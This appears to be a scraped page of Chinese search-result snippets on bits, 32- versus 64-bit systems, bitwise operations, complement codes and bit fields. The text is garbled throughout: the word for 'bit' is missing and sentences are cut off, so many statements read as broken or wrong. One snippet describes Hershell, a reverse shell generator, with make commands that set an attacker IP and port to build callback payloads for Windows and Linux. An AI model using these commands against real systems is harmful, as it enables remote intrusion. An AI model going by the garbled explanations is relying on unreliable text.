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或者可以使用称为“串”的概念,它可以定义为序列,首先呈现最低有效串允许您以非常有效的方式存储此类数据,无论是在存储空间还是处理速度方面。串可以以两种方式之一存储,作为压缩字符串或整数。...如果在没有上下文的情况下听到术语“串”,则表示序列存储为压缩字符串。本文向介绍了这两种类型的串,然后介绍了一些可用于操作它们的技术。...将序列存储为串存储位序列的最常见方式是在位串中,这是一种特殊的压缩字符串。除了节省存储空间外,还可以使用 ObjectScript 系统函数有效地操作串。...、12 14。...串中的 1表示 2^0, 2 表示 2^1,依此类推。将所有加在一起,我们得到 2^5 +2^6 + 2^7+ 2^8 + 2^10 + 2^11 + 2^13 = 11744。

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3264系统的区别

前言64系统32系统首先涉及到提取数据的能力,64系统肯定比32系统提取数据的能力强一倍 但是这只是建立在64操作系统的64软件上。...进程的6432程序的地址空间是32还是64有关,而不是操作系统有绝对关系64系统32的寻址能力的比较1.64CPU拥有更大的寻址能力,最大支持到16GB内存(了解64系统支持多少内存...但这是建立在64操作系统64软件的基础上的。什么是64处理器?...64处理器实际上一次处理数据的能力是648,16,32比较,都是一次处理数据的能力更加打,之所以很少听过128,是因为目前的计数暂时无法制造这么复杂的芯片64系统32的进程中指针一个是...(2)一个进程也有64进程32进程之分,虽然对于进程而言它们使用的是虚拟内存。

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面试官:说说3264

在软件的世界里,有32软件64软件,那么你是否想过3264软件有什么区别吗?下面我就带领大家来看看3264的区别。...第一个64操作系统 首要的区别是3264CPU的指令集合、操作数位数、寄存器名称个数都不相同。...因此intelamd都推出了兼容32软件环境的CPU。所以现在主流CPU都是64处理器,可以在上面运行3264操作系统软件。...因此一定存在一个或一种编译器,本身是32的,但能将程序编译成64可执行文件。也只有在这种情况下编译器本身位数编译出来程序的位数才不一致,也才能编译出第一个64操作系统。...如果你的答案下面的一致,就说明你理解了本篇文章: 对于操作系统来说64系统上有32其他信息,因此基本上兼容32程序; 32操作系统一般是没有64库。也没有相关系统api。

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832MCU该如何选择?

该如何对8以及32的MCU进行选择?832MCU在功能上仍是互为辅助、各有千秋,这其中的诀窍就在于,需先了解什么样的应用适合什么样的MCU架构。...本文对比了8MCU32MCU的使用案例,也可作为如何选择这两种MCU架构的指南使用。...832MCU该如何选择? 有时,当我对比人们所熟知的事物(例如ARM8051)时,感觉就像在物联网论坛上发出「《星际争霸战》比《星际大战》好看」的帖子一样,很快就能火起来。...不同的任务需要使用不同的工具,我们的目的是要了解「如何才能更好地运用我们所拥有的工具」,包括832MCU。...8051内核在处理8资料时也是非常有效的,而ARM Cortex-M内核擅长资料处理32运算。

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反码补码运算

原码,补码,反码 原码:将数值转化成二进制,最高位表示符号 反码:在原码的基础上,正数不变、负数符号不变,其余各位取反 补码:在原码的基础上,正数不变、负数符号不变,其余各位取反再加1(即反码+1...而且计算机利用这三者可以用加法实现减法 反码: 1+(-1) = [0000 0001]反 + [1111 1110]反 = [1111 1111]反 = [1000 0000]原 = -0 反码出现了 [0000 0000] 原...运算 运算是对底层2进制操作的 符号 描述 运算规则 & 与 两个都为1,结果才为1 | 或 两个都为0,结果才是0 ^ 异或 同0异1 ~ 取反 0变1,1变0 << 左移 各二进位全部左移若干...表示除2 有符号数,各编译器处理方法不一样,有的补符号(算术右移),有的补0(逻辑右移) >>> 逻辑右移 不管符号,直接右移,补零 3....= 0){ int sum = num1 ^ num2; // 计算有单个1的(00不用计算了,11进位给下面操作了) int carry = (num1 &

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Android之6432区分

常用的abi有: armeabi 对应着 ARMV5ARMV6架构 armeabi-v7a - 对应着 ARMV7a架构,是32的寻址长度,里面放置32系统上运行的so库 armeabi-v8a...- 对应着 ARMV8架构,64寻址长度,里面放置64的so x86 对应 x86架构(PC机的架构),里面放置x86上运行的so x86_64 对应着x86_64架构,里面放置x86_64上运行的...image.png 64设备(arm64-v8a, x86_64, mips64)能够运行32的函数库,但是以32模式运行,在64平台上运行32版本的ARTAndroid组件,将丢失专为64...优化过的性能(ART,webview,media等等) 如何区分64app 32app 当下载安装一个App之后,从Launcher启动该应用,系统会由Zygote分叉出一个子进程来提供App运行的虚拟机...与32系统不同的是,在64系统中会同时存在两个Zygote进程——zygotezygote64,分别对应3264应用。

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32系统64系统区别介绍

在我们日常使用电脑时,应该有很多用户不知道自己的电脑该使用32还是64系统,那么3264系统有什么区别呢?下面小编就为大家带来3264系统意思介绍,感兴趣的小伙伴快来看看吧。...32系统64系统区别介绍 一:支持的内存不同 32的操作系统,最多支持4G的内存,实际内存为3.25G;64系统支持4G 8G 16G 32G 64G 128G 256G内存,理论上可以无限支持...二:支持的处理器不同 二:支持的处理器不同 64的操作系统支持基于64的处理器,而32的系统却不能完全支持64的处理器。...四、处理数据的能力 3264表示CPU可以处理最大位数,一次性的运算量不一样,理论上64的会比32快1倍,内存寻址也不一样。...如果要查看自己的电脑是什么操作系统,点击桌面上的我的电脑右击-属性,就可以看到了 转: 32系统64系统的区别 32系统64系统区别介绍(win7xzb.com)

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c++中按取反_取反取反

,都要根据变量相应 //的数据类型,表示为补码的形式存储进计算机内存中;第二、无论是在做数据类型强制转换( //内存存储形式没有改变,这一点可以通过查看Memory得到)还是做运算的时候...******************/” << endl; unsigned char ch = ‘F’; //其实下面一行代码做了三步操作 //第一、首先把ch按取反...,之后在内存中的形式变为1011 1001 //第二、把内存中的这个值先进行扩,扩充成short类型的,扩的时候是看做有符号数进行的, //扩之后为1111 1111 1011...******************/” << endl; unsigned short int p1; short int p2; //有符号字符扩充为无符号有符号...p1 = ~ch2; p2 = ~ch2; cout << p1 << endl; cout << p2 << endl; /******测试有符号数无符号数的强制转换

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常说的3264有什么区别?

之前在发布如何安装Windows系统后,有朋友就问, 这个6432有啥区别,本期就来简单聊下它们的区别。 首先先说一下3264是指的啥?...这里所示的“”,是计算机中最小的存储单位, 每一个“”存储一个二进制码,我们都知道计算机是采用二进制运算的。 这样看3264就明了多了。 ?...3264一般有三种情况, 一种是指CPU,一种是指操作系统,一种是指应用软件。...再来说一下3264对内存的影响, 内存中的一个地址占用8,即1个字节。...32的CPU系统,最大支持仅支持4G内存。 所以如果你还在用32的系统,但是内存已经超过4G, 那还是更换为64系统吧。

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介绍段,枚举联合

段就是由结构体来实现的。 段的成员后有一个冒号一个数字。段时一种节省空间的做法。...也就是说刚开始程序一看是int型的,就给你4个byte,也就是32个字节,如果说不够,继续4个字节4个字节地开辟。 段涉及很多不确定因素,段是不跨平台的,注重可移植的程序应该避免使⽤段。...此时剩余一个bit,按照我们前面的分析,这一个bit应该被浪费掉。到c这里再开辟一个字节。放3,3的二进制序列也就是011,c是占5个bit的,我们放5个bit进去,也就是00011。...d需要4个bit,位置不够,再开辟一个字节。 1. int段被当成有符号数还是⽆符号数是不确定的。 2. 段中最大位的数目不能确定。...(16机器最大16,32机器最⼤32,写成27,在16机器会 出问题。 3. 段中的成员在内存中从左向右分配,还是从右向左分配标准尚未定义。 4.

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Win7 6432有什么区别?

第一点 设计初衷不同: 64操作系统的设计初衷是:满足机械设计分析、三维动画、视频编辑创作,以及科学计算高性能计算应用程序等领域中需要大量内存浮点性能的客户需求。...比如,Windows Vista x64 Edition支持多达128 GB的内存多达16 TB的虚拟内存,而32CPU操作系统最大只可支持4G内存 第三点 要求配置不同: 64操作系统只能安装在...那么这个3264中的“”又是什么意思呢?...32系统对于内存的寻址能力总共就4G,而4G里还要放其他东西:比如系统 BIOS,输入输出设备的地址设定,各类接口的设定地址等等,这些地址设定所占用的空间要达到700M左右,因此4G内存在32中也只能显示出...除了内存有关以外,64技术还和硬件有关,主板首先要支持4G(945以前的主板有的不支持4G内存,这样即便是64系统也无法识别4G内存),另外处理器(CPU)也需要是64的,有人会把双核64CPU

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3264的操作系统的差异 原

32&64操作系统       3264操作系统是指,CPU一次处理数据的能力是32还是64,这里涉及到的是处理器运算位数。...3264的操作系统有哪些区别 第一,设计初衷不同。       ...64操作系统的设计初衷是:满足机械设计分析、三维动画、视频编辑创作,以及科学计算高性能计算应用程序等领域中需要大量内存浮点性能的客户需求。...比如,Windows Vista x64 Edition支持多达128 GB的内存多达16 TB的虚拟内存,而32CPU操作系统最大只可支持4G内存。  第五,软件普及不同。       ...64电脑虽然可以安装32操作系统,但是32电脑绝对不能安装64操作系统。这点至关重要务必牢记,以避免盲目下载安装。

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c按取反运算符_取反取反

大家好,又见面了,我是你们的朋友全栈君 介绍 二进制是计算机运行存储数据的基础,按取反(以下称“取反”)也就是基于二进制进行的一个操作。所不同的是,在完成按取反之后,还需要转换为“原码”。...1.10用二进制表示就是0000 10102.计算补码:(正数的补码与原码相同,而正数的原码就是二进制)结果为0000 1010(补码)3.按取反:1111 01014.开始把1111 0101转换为原码...,从这里开始就要分情况了《1》如果最高位(从左边开始的第一)为0则表示的就是正数:正数的原码取反后的数相同。...10取绝对值10, 10的二进制为 0000 10102.将0000 1010用补码表示:(对于负数的补码:将其对应正数的二进制取反后,加1)即为1111 0101+1=1111 01103.将补码按取反得...0000 10014.将反码转换为原码(参考上一节,步骤4《1》):得 0000 1001所以-10按取反后为9 参考资料 按取反的步骤原理 补码 – 百度百科 发布者:全栈程序员栈长,转载请注明出处

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Hershell:一款功能强大的跨平台反向Shell生成器

此时,我们需要设置以下环境变量: GOOS : 目标操作系统 GOARCH : 目标架构 LHOST : 攻击者IP或主机域名 LPORT : 监听器端口 关于GOOSGOARCH变量的设置,可以参考这篇...) windows64 : 构建一个64Windows可执行程序(PE 64linux32 : 构建一个32Linux可执行程序(ELF 32) linux64 : 构建一个64Linux...可执行程序(ELF 64) macos32 : 构建一个32macOS可执行程序(Mach-O) macos64 : 构建一个64macOS可执行程序(Mach-O) 针对上述列表中的目标平台,我们还需要设置...LHOSTLPORT这两个环境变量。...target $ make windows64 LHOST=192.168.0.12 LPORT=1234 针对Linux平台: # Predifined 32 bit target $ make linux32

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32程序64程序这些区别你知道吗?

我们在编写C/C++程序时,32程序64程序的代码有何区别?如何编写既可以编译成32程序又可以编译成64程序的代码?...代码上的区别 实际上,对于32程序64程序来说,代码上的区别不大,严格来说,甚至是一样的,它的主要区别在于一些基本数据类型占用的字节长度不一样(注:这里仅针对类Unix平台) 类型 32占用字节...自然要使用: printf("%p",p); 传送结构体数据 在3264系统中,其默认对齐字节数是不一样的。...本文简单介绍了32程序64程序的区别,以及移植过程中需要注意的原则。...实际上编写同时能够运行在3264系统上的整体原则基本如下: 不要试图假定数据类型的占用空间 显示区别使用intlong 而前面提到的一些问题,其实通过一些代码检查工具就很容易发现了,不放过小的警告

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C语言:--内存对齐

这节写点什么,就写内存对齐吧。 域是指信息在保存时,并不需要占用一个完整的字节,而只需要占几个或一个二进制。为了节省空间,C语言提供了一种数据结构,叫“域”或“段”。...域的使用结构成员的使用相同,其一般形式为:域 变量名.域名 域允许用各种格式输出。 1. 在C中,域可以写成这样(注:域的数据类型一律用无符号的,纪律性)。...实现内存对齐可以提高CPU的性能,比如处理器能一次取出8个字节,这个时候必须要求数据地址要8字节对齐,这个是CPU储存器的外围电路决定的,在内存对齐的情况下,CPU从储存器取出这8个字节只需要一个时钟周期...但是对于数据类型不同的编译器表现可能不一样,对于Windows(VC编译器),任何K字节的基本对象的地址都必须是K的倍数(比如对于int,必须4字节对齐,对于double,必须8字节对齐),这很大程度上提高了储存器CPU...明天和后天将更新C的debug调试篇,主要是gccvs2017调试

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